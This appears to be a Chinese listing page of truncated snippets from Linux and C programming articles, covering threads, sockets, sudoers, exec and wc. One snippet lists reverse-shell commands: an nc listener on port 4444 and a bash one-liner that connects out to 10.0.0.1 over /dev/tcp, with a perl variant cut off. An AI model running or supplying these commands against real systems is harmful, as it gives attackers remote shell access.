Linux 下C语言获取文件大小
C语言是一种比较底层的语言,有时在其他语言中很容易操作的事情,在c语言中就比较麻烦,例如获取一个文件的大小。Java中File类有个length函数,Python中os.path包中有个getsize函数,
Linux C线程池
三个文件 1 tpool.htypedef struct tpool_work { void (*routine)(void *); void *arg; struct tpool_work
Linux C中多线程与volatile变量
volatile 修饰的变量表示改变量的值是易变的,编译器不对其进行优化,访问该变量的时候不会从寄存器读取, 而是直接从内存读取变量。
在多线程环境下,每个线程都有一个独立的寄存器,用于保存当前
Linux C中sockaddr和sockaddr_in的区别
struct sockaddr和struct sockaddr_in这两个结构体用来处理网络通信的地址。在各种系统调用或者函数中,只要和网络地址打交道,就得用到这两个结构体。网
本机开启监听:nc -lvnp 4444
nc -vvlp 4444目标机器开启反弹
bash版本:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1perl版本:perl -e 'use Socket;$i=
详解Linux下的sudo及其配置文件/etc/sudoers的详细配置
1.sudo介绍sudo是linux下常用的允许普通用户使用超级用户权限的工具,允许系统管理员让普通用户执行一些或者全部的root命令,如halt,reboot,su
Linux 进程替换(exec函数)实现代码# include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> #include<sys/types.
Linux系统中的wc(Word Count)命令的功能为统计指定文件中的字节数、字数、行数,并将统计结果显示输出。
1.命令格式:
wc [选项]文件…
2.命令功能:
统计指定文件中的字节数、字数、行数,并将统计结果显示输出。该命令